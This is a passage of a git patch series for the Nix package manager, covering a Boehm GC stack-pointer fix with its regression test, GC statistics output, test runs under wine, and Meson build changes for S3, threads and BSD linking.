outPath = getEnv("NIX_SHOW_STATS_PATH").value_or("-"); @@ -2620,6 +2625,13 @@ void EvalState::printStatistics() #ifndef _WIN32 // TODO implement topObj["cpuTime"] = cpuTime; #endif + topObj["time"] = { + {"cpu", cpuTime}, +#ifdef HAVE_BOEHMGC + {GC_is_incremental_mode() ? "gcNonIncremental" : "gc", gcFullOnlyTime}, + {GC_is_incremental_mode() ? "gcNonIncrementalFraction" : "gcFraction", gcFullOnlyTime / cpuTime}, +#endif + }; topObj["envs"] = { {"number", nrEnvs}, {"elements", nrValuesInEnvs}, @@ -2661,6 +2673,7 @@ void EvalState::printStatistics() topObj["gc"] = { {"heapSize", heapSize}, {"totalBytes", totalBytes}, + {"cycles", gcCycles}, }; #endif From 380becf0dbbf700c32aaa2e574cc8e05b6411056 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 22 Jul 2024 14:48:18 +0200 Subject: [PATCH 1145/1251] Fix #11141 broken sp corrector --- src/libexpr/eval-gc.cc | 2 +- tests/functional/lang-gc.sh | 34 ++++++++++ .../lang-gc/issue-11141-gc-coroutine-test.nix | 65 +++++++++++++++++++ tests/functional/local.mk | 1 + 4 files changed, 101 insertions(+), 1 deletion(-) create mode 100644 tests/functional/lang-gc.sh create mode 100644 tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index baf9df332..914d48da8 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -121,7 +121,7 @@ void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) // NOTE: We assume the stack grows down, as it does on all architectures we support. // Architectures that grow the stack up are rare. if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack - sp = osStackBase; + sp = osStackLow; } } diff --git a/tests/functional/lang-gc.sh b/tests/functional/lang-gc.sh new file mode 100644 index 000000000..8e2383854 --- /dev/null +++ b/tests/functional/lang-gc.sh @@ -0,0 +1,34 @@ +# shellcheck shell=bash + +# Regression tests for the evaluator +# These are not in lang.sh because they generally only need to run in CI, +# whereas lang.sh is often run locally during development + + +source common.sh + +set -o pipefail + +# Regression test for #11141. The stack pointer corrector assigned the base +# instead of the top (which resides at the low end of the stack). Sounds confusing? +# Stacks grow downwards, so that's why this mistake happened. +# My manual testing did not uncover this, because it didn't rely on the stack enough. +# https://github.com/NixOS/nix/issues/11141 +test_issue_11141() { + mkdir -p "$TEST_ROOT/issue-11141/src" + cp lang-gc/issue-11141-gc-coroutine-test.nix "$TEST_ROOT/issue-11141/" + ( + set +x; + n=10 + echo "populating $TEST_ROOT/issue-11141/src with $((n*100)) files..." + for i in $(seq 0 $n); do + touch "$TEST_ROOT/issue-11141/src/file-$i"{0,1,2,3,4,5,6,7,8,9}{0,1,2,3,4,5,6,7,8,9} + done + ) + + GC_INITIAL_HEAP_SIZE=$((1024 * 1024)) \ + NIX_SHOW_STATS=1 \ + nix eval -vvv\ + -f "$TEST_ROOT/issue-11141/issue-11141-gc-coroutine-test.nix" +} +test_issue_11141 diff --git a/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix b/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix new file mode 100644 index 000000000..4f311af75 --- /dev/null +++ b/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix @@ -0,0 +1,65 @@ + +# Run: +# GC_INITIAL_HEAP_SIZE=$[1024 * 1024] NIX_SHOW_STATS=1 nix eval -f gc-coroutine-test.nix -vvvv + +let + inherit (builtins) + foldl' + isList + ; + + # Generate a tree of numbers, n deep, such that the numbers add up to (1 + salt) * 10^n. + # The salting makes the numbers all different, increasing the likelihood of catching + # any memory corruptions that might be caused by the GC or otherwise. + garbage = salt: n: + if n == 0 + then [(1 + salt)] + else [ + (garbage (10 * salt + 1) (n - 1)) + (garbage (10 * salt - 1) (n - 1)) + (garbage (10 * salt + 2) (n - 1)) + (garbage (10 * salt - 2) (n - 1)) + (garbage (10 * salt + 3) (n - 1)) + (garbage (10 * salt - 3) (n - 1)) + (garbage (10 * salt + 4) (n - 1)) + (garbage (10 * salt - 4) (n - 1)) + (garbage (10 * salt + 5) (n - 1)) + (garbage (10 * salt - 5) (n - 1)) + ]; + + pow = base: n: + if n == 0 + then 1 + else base * (pow base (n - 1)); + + sumNestedLists = l: + if isList l + then foldl' (a: b: a + sumNestedLists b) 0 l + else l; + +in + assert sumNestedLists (garbage 0 3) == pow 10 3; + assert sumNestedLists (garbage 0 6) == pow 10 6; + builtins.foldl' + (a: b: + assert + "${ + builtins.path { + path = ./src; + filter = path: type: + # We're not doing common subexpression elimination, so this reallocates + # the fairly big tree over and over, producing a lot of garbage during + # source filtering, whose filter runs in a coroutine. + assert sumNestedLists (garbage 0 3) == pow 10 3; + true; + } + }" + == "${./src}"; + + # These asserts don't seem necessary, as the lambda value get corrupted first + assert a.okay; + assert b.okay; + { okay = true; } + ) + { okay = true; } + [ { okay = true; } { okay = true; } { okay = true; } ] diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 49ee31284..797002e92 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -23,6 +23,7 @@ nix_tests = \ remote-store.sh \ legacy-ssh-store.sh \ lang.sh \ + lang-gc.sh \ characterisation-test-infra.sh \ experimental-features.sh \ fetchMercurial.sh \ From 112373c03cade928e2417a53623a2a1fd4773609 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 21 Jul 2024 12:16:47 -0400 Subject: [PATCH 1146/1251] flake.lock: Update MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Flake lock file updates: • Updated input 'nixpkgs': 'github:NixOS/nixpkgs/88269ab3044128b7c2f4c7d68448b2fb50456870' (2024-06-03) → 'github:NixOS/nixpkgs/be3ca229c85e978880babdeda9748b14e6aa008f' (2024-07-21) --- flake.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/flake.lock b/flake.lock index f64e3ea37..1d59439da 100644 --- a/flake.lock +++ b/flake.lock @@ -69,11 +69,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1717432640, - "narHash": "sha256-+f9c4/ZX5MWDOuB1rKoWj+lBNm0z0rs4CK47HBLxy1o=", + "lastModified": 1721560568, + "narHash": "sha256-L61BXz7n/yNzOeZ3FqlnUmxj4145JOVeq9fvQTQzbNM=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "88269ab3044128b7c2f4c7d68448b2fb50456870", + "rev": "be3ca229c85e978880babdeda9748b14e6aa008f", "type": "github" }, "original": { From dc6dbbc1a5226fe6e25035bf5eb284df3c5c4607 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 21 Jul 2024 12:24:21 -0400 Subject: [PATCH 1147/1251] Test exes do not need dev outputs --- tests/unit/libexpr/package.nix | 2 -- tests/unit/libfetchers/package.nix | 2 -- tests/unit/libflake/package.nix | 2 -- tests/unit/libstore/package.nix | 2 -- tests/unit/libutil/package.nix | 2 -- 5 files changed, 10 deletions(-) diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix index 6b7e12c4a..5f52170ba 100644 --- a/tests/unit/libexpr/package.nix +++ b/tests/unit/libexpr/package.nix @@ -41,8 +41,6 @@ mkMesonDerivation (finalAttrs: { (fileset.fileFilter (file: file.hasExt "hh") ./.) ]; - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix index 9522f9639..88ccaca7f 100644 --- a/tests/unit/libfetchers/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -40,8 +40,6 @@ mkMesonDerivation (finalAttrs: { (fileset.fileFilter (file: file.hasExt "hh") ./.) ]; - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix index 859bc49d0..3c99efbba 100644 --- a/tests/unit/libflake/package.nix +++ b/tests/unit/libflake/package.nix @@ -40,8 +40,6 @@ mkMesonDerivation (finalAttrs: { (fileset.fileFilter (file: file.hasExt "hh") ./.) ]; - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix index efffd0063..e68cc3a62 100644 --- a/tests/unit/libstore/package.nix +++ b/tests/unit/libstore/package.nix @@ -42,8 +42,6 @@ mkMesonDerivation (finalAttrs: { (fileset.fileFilter (file: file.hasExt "hh") ./.) ]; - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix index ad5ff7d1e..b635aa811 100644 --- a/tests/unit/libutil/package.nix +++ b/tests/unit/libutil/package.nix @@ -40,8 +40,6 @@ mkMesonDerivation (finalAttrs: { (fileset.fileFilter (file: file.hasExt "hh") ./.) ]; - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja From eea63d5f993f0ce27ecee41d0c80f3e521f4f247 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 21 Jul 2024 12:57:49 -0400 Subject: [PATCH 1148/1251] Run unit tests with wine Fix #10547 The tests do not all run successfully, but that is a separate issue. --- tests/unit/libexpr/package.nix | 13 +++++++++---- tests/unit/libfetchers/package.nix | 13 +++++++++---- tests/unit/libflake/package.nix | 13 +++++++++---- tests/unit/libstore/package.nix | 14 ++++++++++---- tests/unit/libutil/package.nix | 13 +++++++++---- 5 files changed, 46 insertions(+), 20 deletions(-) diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix index 5f52170ba..015e3fbc6 100644 --- a/tests/unit/libexpr/package.nix +++ b/tests/unit/libexpr/package.nix @@ -1,4 +1,5 @@ { lib +, buildPackages , stdenv , mkMesonDerivation , releaseTools @@ -81,17 +82,21 @@ mkMesonDerivation (finalAttrs: { passthru = { tests = { run = runCommand "${finalAttrs.pname}-run" { - } '' - PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' export _NIX_TEST_UNIT_DATA=${resolvePath ./data} - nix-expr-tests + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} touch $out - ''; + ''); }; }; meta = { platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; }; }) diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix index 88ccaca7f..cf75f68e5 100644 --- a/tests/unit/libfetchers/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -1,4 +1,5 @@ { lib +, buildPackages , stdenv , mkMesonDerivation , releaseTools @@ -79,17 +80,21 @@ mkMesonDerivation (finalAttrs: { passthru = { tests = { run = runCommand "${finalAttrs.pname}-run" { - } '' - PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' export _NIX_TEST_UNIT_DATA=${resolvePath ./data} - nix-fetchers-tests + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} touch $out - ''; + ''); }; }; meta = { platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; }; }) diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix index 3c99efbba..d2c9fdb89 100644 --- a/tests/unit/libflake/package.nix +++ b/tests/unit/libflake/package.nix @@ -1,4 +1,5 @@ { lib +, buildPackages , stdenv , mkMesonDerivation , releaseTools @@ -79,17 +80,21 @@ mkMesonDerivation (finalAttrs: { passthru = { tests = { run = runCommand "${finalAttrs.pname}-run" { - } '' - PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' export _NIX_TEST_UNIT_DATA=${resolvePath ./data} - nix-flake-tests + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} touch $out - ''; + ''); }; }; meta = { platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; }; }) diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix index e68cc3a62..39bf77585 100644 --- a/tests/unit/libstore/package.nix +++ b/tests/unit/libstore/package.nix @@ -1,4 +1,5 @@ { lib +, buildPackages , stdenv , mkMesonDerivation , releaseTools @@ -92,17 +93,22 @@ mkMesonDerivation (finalAttrs: { ../../functional/derivation ]; }; - in runCommand "${finalAttrs.pname}-run" {} '' - PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + in runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' export _NIX_TEST_UNIT_DATA=${data + "/unit/libstore/data"} - nix-store-tests + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} touch $out - ''; + ''); }; }; meta = { platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; }; }) diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix index b635aa811..c7827e74f 100644 --- a/tests/unit/libutil/package.nix +++ b/tests/unit/libutil/package.nix @@ -1,4 +1,5 @@ { lib +, buildPackages , stdenv , mkMesonDerivation , releaseTools @@ -80,17 +81,21 @@ mkMesonDerivation (finalAttrs: { passthru = { tests = { run = runCommand "${finalAttrs.pname}-run" { - } '' - PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' export _NIX_TEST_UNIT_DATA=${./data} - nix-util-tests + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} touch $out - ''; + ''); }; }; meta = { platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; }; }) From 4878c3181575287b65c67aa0efa766b123cce5db Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 22 Jul 2024 16:39:02 +0200 Subject: [PATCH 1149/1251] nix ping-store: Redirect to 'nix store info' This avoids the double warning warning: 'ping-store' is a deprecated alias for 'store ping' warning: 'nix store ping' is a deprecated alias for 'nix store info' --- src/nix/main.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/main.cc b/src/nix/main.cc index 00ad6fe2c..9d7d617cc 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -164,7 +164,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs {"ls-store", { AliasStatus::Deprecated, {"store", "ls"}}}, {"make-content-addressable", { AliasStatus::Deprecated, {"store", "make-content-addressed"}}}, {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}}, - {"ping-store", { AliasStatus::Deprecated, {"store", "ping"}}}, + {"ping-store", { AliasStatus::Deprecated, {"store", "info"}}}, {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}}, {"shell", { AliasStatus::AcceptedShorthand, {"env", "shell"}}}, {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}}, From 823baa25f35fd9047c715de675e2fef6e62d3583 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 22 Jul 2024 10:41:19 -0400 Subject: [PATCH 1150/1251] Meson build: libstore check for `statvfs` --- src/libstore/meson.build | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 29ee95b75..3b7f7a57a 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -55,6 +55,7 @@ configdata.set('CAN_LINK_SYMLINK', can_link_symlink.to_int()) check_funcs = [ # Optionally used for canonicalising files from the build 'lchown', + 'statvfs', ] foreach funcspec : check_funcs define_name = 'HAVE_' + funcspec.underscorify().to_upper() From d7024ac9b75032f2cfaabc53c27dbd4584bfd6db Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 22 Jul 2024 10:40:21 -0400 Subject: [PATCH 1151/1251] Add S3 opt dep to Meson, and simplify build Numeric version macros are now defined upstream, so we don't need roll our own. --- configure.ac | 7 ------- src/libstore/meson.build | 17 +++++++++++++++++ src/libstore/s3-binary-cache-store.cc | 4 ++-- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/configure.ac b/configure.ac index 4f66a3efc..5c22ed176 100644 --- a/configure.ac +++ b/configure.ac @@ -340,13 +340,6 @@ AC_CHECK_HEADERS([aws/s3/S3Client.h], AC_SUBST(ENABLE_S3, [$enable_s3]) AC_LANG_POP(C++) -if test -n "$enable_s3"; then - declare -a aws_version_tokens=($(printf '#include \nAWS_SDK_VERSION_STRING' | $CPP $CPPFLAGS - | grep -v '^#.*' | sed 's/"//g' | tr '.' ' ')) - AC_DEFINE_UNQUOTED([AWS_VERSION_MAJOR], ${aws_version_tokens@<:@0@:>@}, [Major version of aws-sdk-cpp.]) - AC_DEFINE_UNQUOTED([AWS_VERSION_MINOR], ${aws_version_tokens@<:@1@:>@}, [Minor version of aws-sdk-cpp.]) - AC_DEFINE_UNQUOTED([AWS_VERSION_PATCH], ${aws_version_tokens@<:@2@:>@}, [Patch version of aws-sdk-cpp.]) -fi - # Whether to use the Boehm garbage collector. AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]), diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 3b7f7a57a..cb8110f3f 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -100,6 +100,23 @@ deps_public += nlohmann_json sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') deps_private += sqlite +# AWS C++ SDK has bad pkg-config +aws_s3 = dependency('aws-cpp-sdk-s3', required : false) +configdata.set('ENABLE_S3', aws_s3.found().to_int()) +if aws_s3.found() + aws_s3 = declare_dependency( + include_directories: include_directories(aws_s3.get_variable('includedir')), + link_args: [ + '-L' + aws_s3.get_variable('libdir'), + '-laws-cpp-sdk-transfer', + '-laws-cpp-sdk-s3', + '-laws-cpp-sdk-core', + '-laws-crt-cpp', + ], + ) +endif +deps_other += aws_s3 + subdir('build-utils-meson/generate-header') generated_headers = [] diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 1a0ec1111..92ab47cd6 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -60,7 +60,7 @@ class AwsLogger : public Aws::Utils::Logging::FormattedLogSystem debug("AWS: %s", chomp(statement)); } -#if !(AWS_VERSION_MAJOR <= 1 && AWS_VERSION_MINOR <= 7 && AWS_VERSION_PATCH <= 115) +#if !(AWS_SDK_VERSION_MAJOR <= 1 && AWS_SDK_VERSION_MINOR <= 7 && AWS_SDK_VERSION_PATCH <= 115) void Flush() override {} #endif }; @@ -103,7 +103,7 @@ S3Helper::S3Helper( std::make_shared(profile.c_str())), *config, // FIXME: https://github.com/aws/aws-sdk-cpp/issues/759 -#if AWS_VERSION_MAJOR == 1 && AWS_VERSION_MINOR < 3 +#if AWS_SDK_VERSION_MAJOR == 1 && AWS_SDK_VERSION_MINOR < 3 false, #else Aws::Client::AWSAuthV4Signer::PayloadSigningPolicy::Never, From f2e0cecf34f6e3b23c2499bb65478a620c4340aa Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 22 Jul 2024 17:45:19 +0200 Subject: [PATCH 1152/1251] tests/functional/lang-gc: Disable for now --- tests/functional/lang-gc.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/functional/lang-gc.sh b/tests/functional/lang-gc.sh index 8e2383854..1746fa4c1 100644 --- a/tests/functional/lang-gc.sh +++ b/tests/functional/lang-gc.sh @@ -9,6 +9,8 @@ source common.sh set -o pipefail +skipTest "Too memory instensive for CI. Attempt to reduce memory usage was unsuccessful, because it made detection of the bug unreliable." + # Regression test for #11141. The stack pointer corrector assigned the base # instead of the top (which resides at the low end of the stack). Sounds confusing? # Stacks grow downwards, so that's why this mistake happened. From d3cee8160cecf4902f7f26b1dbfa0110a6a195bd Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 22 Jul 2024 11:33:37 -0400 Subject: [PATCH 1153/1251] Add missing threads deps --- src/libcmd/meson.build | 2 ++ src/libexpr-c/meson.build | 2 ++ src/libfetchers/meson.build | 2 ++ src/libflake/meson.build | 2 ++ src/libmain-c/meson.build | 2 ++ src/libmain/meson.build | 1 + src/libstore-c/meson.build | 2 ++ src/libutil-c/meson.build | 2 ++ src/nix/meson.build | 2 ++ tests/unit/libexpr-support/meson.build | 2 ++ tests/unit/libexpr/meson.build | 2 ++ tests/unit/libfetchers/meson.build | 2 ++ tests/unit/libflake/meson.build | 2 ++ tests/unit/libstore-support/meson.build | 2 ++ tests/unit/libstore/meson.build | 2 ++ tests/unit/libutil-support/meson.build | 2 ++ tests/unit/libutil/meson.build | 2 ++ 17 files changed, 33 insertions(+) diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index 687b37aac..c484cf998 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -30,6 +30,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index 2a2669b3e..6db5b83b8 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -29,6 +29,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index c39fe99f3..d4f202796 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -26,6 +26,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json diff --git a/src/libflake/meson.build b/src/libflake/meson.build index 38d70c678..d2bb179df 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -26,6 +26,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json diff --git a/src/libmain-c/meson.build b/src/libmain-c/meson.build index 1d6b2f959..345382712 100644 --- a/src/libmain-c/meson.build +++ b/src/libmain-c/meson.build @@ -29,6 +29,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) diff --git a/src/libmain/meson.build b/src/libmain/meson.build index fe6133596..7fcadf06d 100644 --- a/src/libmain/meson.build +++ b/src/libmain/meson.build @@ -26,6 +26,7 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') pubsetbuf_test = ''' #include diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 917de4cda..4bfd944c6 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -27,6 +27,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 3f0d96282..b5ed19631 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -25,6 +25,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) diff --git a/src/nix/meson.build b/src/nix/meson.build index b42f6169b..53bb083a9 100644 --- a/src/nix/meson.build +++ b/src/nix/meson.build @@ -28,6 +28,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') add_project_arguments( diff --git a/tests/unit/libexpr-support/meson.build b/tests/unit/libexpr-support/meson.build index 705672204..4f50478aa 100644 --- a/tests/unit/libexpr-support/meson.build +++ b/tests/unit/libexpr-support/meson.build @@ -27,6 +27,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build index ee35258cf..21c321334 100644 --- a/tests/unit/libexpr/meson.build +++ b/tests/unit/libexpr/meson.build @@ -25,6 +25,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') diff --git a/tests/unit/libfetchers/meson.build b/tests/unit/libfetchers/meson.build index d2de93829..dc9818e27 100644 --- a/tests/unit/libfetchers/meson.build +++ b/tests/unit/libfetchers/meson.build @@ -24,6 +24,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') diff --git a/tests/unit/libflake/meson.build b/tests/unit/libflake/meson.build index 2d6bbca0f..c022d7f41 100644 --- a/tests/unit/libflake/meson.build +++ b/tests/unit/libflake/meson.build @@ -24,6 +24,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') diff --git a/tests/unit/libstore-support/meson.build b/tests/unit/libstore-support/meson.build index ddb067c1b..f09d26a31 100644 --- a/tests/unit/libstore-support/meson.build +++ b/tests/unit/libstore-support/meson.build @@ -25,6 +25,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/tests/unit/libstore/meson.build b/tests/unit/libstore/meson.build index 8534ba8c5..3b36cd62f 100644 --- a/tests/unit/libstore/meson.build +++ b/tests/unit/libstore/meson.build @@ -25,6 +25,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build index 7d0e9c2fc..6be4972c6 100644 --- a/tests/unit/libutil-support/meson.build +++ b/tests/unit/libutil-support/meson.build @@ -23,6 +23,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build index 4f055cabd..7f024e6f2 100644 --- a/tests/unit/libutil/meson.build +++ b/tests/unit/libutil/meson.build @@ -25,6 +25,8 @@ deps_public_maybe_subproject = [ ] subdir('build-utils-meson/subprojects') +subdir('build-utils-meson/threads') + subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') From d39bbcabb99415db916e8d9abf8e82eccc77e0e0 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 22 Jul 2024 11:44:53 -0400 Subject: [PATCH 1154/1251] Fix some BSD builds missing pthread functions In addition to adding the missing thread deps in the last commit, we also appear to need to skip `-Wl,--as-needed` flags that Meson wants to use, but doesn't work with our *BSD toolchains. See https://github.com/mesonbuild/meson/issues/3593 --- packaging/dependencies.nix | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 73ba9cd58..f09ca5d18 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -61,6 +61,12 @@ let workDir = null; }; + # Work around weird `--as-needed` linker behavior with BSD, see + # https://github.com/mesonbuild/meson/issues/3593 + bsdNoLinkAsNeeded = finalAttrs: prevAttrs: lib.optionalAttrs stdenv.hostPlatform.isBSD { + mesonFlags = [ (lib.mesonBool "b_asneeded" false) ] ++ prevAttrs.mesonFlags or []; + }; + in scope: { inherit stdenv versionSuffix; @@ -130,5 +136,8 @@ scope: { inherit resolvePath filesetToSource; - mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f); + mkMesonDerivation = f: stdenv.mkDerivation + (lib.extends + (lib.composeExtensions bsdNoLinkAsNeeded localSourceLayer) + f); } From 4457cebe05c444facc68db281c58f90a87f785ce Mon Sep 